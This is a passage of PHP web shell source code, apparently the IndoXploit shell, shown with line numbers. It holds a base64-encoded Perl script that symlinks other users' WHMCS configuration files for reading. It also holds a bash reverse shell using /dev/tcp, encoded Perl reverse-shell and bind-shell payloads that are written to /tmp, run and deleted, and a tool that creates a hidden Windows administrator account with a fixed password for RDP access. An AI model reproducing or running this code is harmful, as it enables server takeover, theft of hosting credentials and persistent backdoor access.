JsaWNfaHRtbC9XaG1jcy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3dobWNzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd2htY3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XSE1DL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvV2htYy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3dobWMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XSE0vc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XaG0vc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC93aG0vc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9IT1NUL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvSG9zdC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2hvc3Qvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9TVVBQT1JURVMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9TdXBwb3J0ZXMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zdXBwb3J0ZXMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9kb21haW5zL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvZG9tYWluL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvSG9zdGluZy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0hPU1RJTkcvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ0FSVC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NhcnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jYXJ0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvT1JERVIvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9PcmRlci9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL29yZGVyL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ0xJRU5UL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ2xpZW50L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ0xJRU5UQVJFQS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NsaWVudGFyZWEvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jbGllbnRhcmVhL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvU1VQUE9SVC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1N1cHBvcnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQklMTElORy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JpbGxpbmcvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQlVZL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQnV5L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYnV5L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvTUFOQUdFL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvTWFuYWdlL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbWFuYWdlL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ0xJRU5UU1VQUE9SVC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NsaWVudFN1cHBvcnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DbGllbnRzdXBwb3J0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50c3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NIRUNLT1VUL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ2hlY2tvdXQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jaGVja291dC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JJTExJTkdTL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JBU0tFVC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0Jhc2tldC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2Jhc2tldC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1NFQ1VSRS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1NlY3VyZS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3NlY3VyZS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1NBTEVTL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvU2FsZXMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zYWxlcy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JJTEwvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9CaWxsL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYmlsbC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1BVUkNIQVNFL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvUHVyY2hhc2Uvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9wdXJjaGFzZS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0FDQ09VTlQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9BY2NvdW50L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYWNjb3VudC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1VTRVIvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9Vc2VyL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdXNlci9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NMSUVOVFMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DbGllbnRzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50cy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JJTExJTkdTL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL01ZL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvTXkvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9teS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3NlY3VyZS93aG0vc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zZWN1cmUvd2htY3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9wYW5lbC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NsaWVudGVzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50ZS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3N1cHBvcnQvb3JkZXIvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9DQopOw0KZm9yZWFjaCAoQGFycmF5KXsNCglteSAkY29uZmlnbnlhID0gJF8tPntjb25maWdkaXJ9Ow0KCW15ICR0eXBlY29uZmlnID0gJF8tPnt0eXBlfTsNCglzeW1saW5rKCIkY29uZmlnbnlhIiwiaWR4X3N5bS8kdXNlcm55YS0kdHlwZWNvbmZpZy50eHQiKTsNCglta2RpciAiaWR4X3N5bS8kdXNlcm55YS0kdHlwZWNvbmZpZy50eHQiOw0KCXN5bWxpbmsoIiRjb25maWdueWEiLCJpZHhfc3ltLyR1c2VybnlhLSR0eXBlY29uZmlnLnR4dC8weDE5OTkudHh0Iik7DQoJY29weSgiaWR4X3N5bS9uZW11LnR4dCIsImlkeF9zeW0vJHVzZXJueWEtJHR5cGVjb25maWcudHh0Ly5odGFjY2VzcyIpIDsNCgl9DQp9DQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50ICI8aGVhZD48dGl0bGU+QnlwYXNzIDQwNCBCeSAweDE5OTk8L3RpdGxlPjwvaGVhZD4iOw0KcHJpbnQgJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjU7IHVybD1pZHhfc3ltIi8+JzsNCnByaW50ICc8Ym9keT48Y2VudGVyPjxoMT4weDE5OTkgTmV2ZXIgRGllPC9oMT4nOw0KcHJpbnQgJzxhIGhyZWY9ImlkeF9zeW0iPktsaWsgRGlzaW5pPC9hPic7DQp1bmxpbmsoJDApOw=="; 943 save("/tmp/symlink.pl", "w", base64_decode($sym['code'])); 944 exe("perl /tmp/symlink.pl"); 945 sleep(1); 946 @unlink("/tmp/symlink.pl"); 947 @unlink("passwd.txt"); 948 @unlink("idx_sym/pas.txt"); 949 @unlink("idx_sym/nemu.txt"); 950 } 951 print "<div style='background: #ffffff; width: 100%; height: 100%'>"; 952 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_sym/' frameborder='0' scrolling='yes'></iframe>"; 953 print "</div>"; 954 } 955 elseif($toolsname === "network") { 956 $args = explode(" ", $args); 957 if($args[0] === "bc") { 958 if(empty($args[1])) die(color(1, 1, "Set Your IP for BackConnect!")); 959 if(empty($args[2])) die(color(1, 1, "Set Your PORT for BackConnect!")); 960 if(empty($args[3])) die(color(1, 1, "Missing type of reverse shell: 'bash', 'perl'.")); 961 if($args[3] === "bash") { 962 exe("/bin/bash -i >& /dev/tcp/".$args[1]."/".$args[2]." 0>&1"); 963 } 964 elseif($args[3] === "perl") { 965 $bc['code'] = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; 966 save("/tmp/bc.pl", "w", base64_decode($bc['code'])); 967 $bc['exec'] = exe("perl /tmp/bc.pl ".$args[1]." ".$args[2]." 1>/dev/null 2>&1 &"); 968 sleep(1); 969 print "<pre>".$bc['exec']."\n".exe("ps aux | grep bc.pl")."</pre>"; 970 @unlink("/tmp/bc.pl"); 971 } 972 } 973 elseif($args[0] === "bp") { 974 if(empty($args[1])) die(color(1, 1, "Set Your PORT for Bind Port!")); 975 if(empty($args[2])) die(color(1, 1, "Missing type of reverse shell: 'bash', 'perl'.")); 976 if($args[2] === "perl") { 977 $bp['code'] = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="; 978 save("/tmp/bp.pl", "w", base64_decode($bp['code'])); 979 $bp['exec'] = exe("perl /tmp/bp.pl ".$args[1]." 1>/dev/null 2>&1 &"); 980 sleep(1); 981 print "<pre>".$bp['exec']."\n".exe("ps aux | grep bp.pl")."</pre>"; 982 @unlink("/tmp/bp.pl"); 983 } 984 } 985 else { 986 print color(1, 1, "Unknown '".$args[0]."'"); 987 } 988 } 989 elseif($toolsname === "krdp") { 990 $args = explode(" ", $args); 991 if(OS() !== "Windows") die(color(1, 1, "Just For Windows Server")); 992 if(preg_match("/indoxploit/", exe("net user"))) die(color(1, 1, "[INFO] username 'indoxploit' already exists.")); 993 $add_user = exe("net user indoxploit indoxploit /add"); 994 $add_groups1 = exe("net localgroup Administrators indoxploit /add"); 995 $add_groups2 = exe("net localgroup Administrator indoxploit /add"); 996 $add_groups3 = exe("net localgroup Administrateur indoxploit /add"); 997 print "[ RDP ACCOUNT INFO ]<br> 998 ------------------------------<br> 999 IP: ".color(1, 2, $GLOBALS['SERVERIP'])."<br> 1000 Username: ".color(1, 2, "indoxploit")."<br> 1001 Password: ".color(1, 2, "indoxploit")."<br> 1002 ------------------------------<br><br> 1003 [ STATUS ]<br> 1004 ------------------------------<br> 1005 "; 1006 if($add_user) { 1007 print "[add user] -> ".color(1, 2, "SUCCESS")."<br>"; 1008 } 1009 else { 1010 print "[add user] -> ".color(1, 1, "FAILED")."<br>"; 1011 } 1012 1013 if($add_groups1) { 1014 print "[add localgroup Administrators] -> ".color(1, 2, "SUCCESS")."<br>"; 1015 } 1016 elseif($add_groups2) { 1017 print "[add localgroup Administrator] -> ".color(1, 2, "SUCCESS")."<br>"; 1018 } 1019 elseif($add_groups3) { 1020 print "[add localgroup Administrateur] -> ".color(1, 2, "SUCCESS")."<br>"; 1021 } 1022 else { 1023 print "[add localgroup] -> ".color(1, 1, "FAILED")."<br>"; 1024 } 1025 print "------------------------------<br>"; 1026 } 1027 } 1028 function files_and_folder() { 1029 if(!is_dir(path())) die(color(1, 1, "Directory '".path()."' is not exists.")); 1030 if(!is_readable(path())) die(color(1, 1, "Directory '".path()."' not readable.")); 1031 print '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center"> 1032 <tr> 1033 <th class="th_home"><center>Name</center></th> 1034 <th class="th_home"><center>Type</center></th> 1035 <th class="th_home"><center>Size</center></th> 1036 <th class="th_home"><center>Last Modified</center></th> 1037 <th class="th_home"><center>Owner/Group</center></th> 1038 <th class="th_home"><center>Permission</center></th> 1039 <th class="th_home"><center>Action</center></th> 1040 </tr>'; 1041 if(function_exists('opendir')) { 1042 if($opendir = opendir(path())) { 1043 while(($readdir = readdir($opendir)) !== false) { 1044 $dir[] = $readdir; 1045 } 1046 closedir($opendir); 1047 } 1048 sort($dir); 1049 } else { 1050 $dir = scandir(path()); 1051 } 1052 foreach($dir as $folder) { 1053 $dirinfo['path'] = path().DIRECTORY_SEPARATOR.$folder; 1054 if(!is_dir($dirinfo['path'])) continue; 1055 $dirinfo['type'] = filetype($dirinfo['path']); 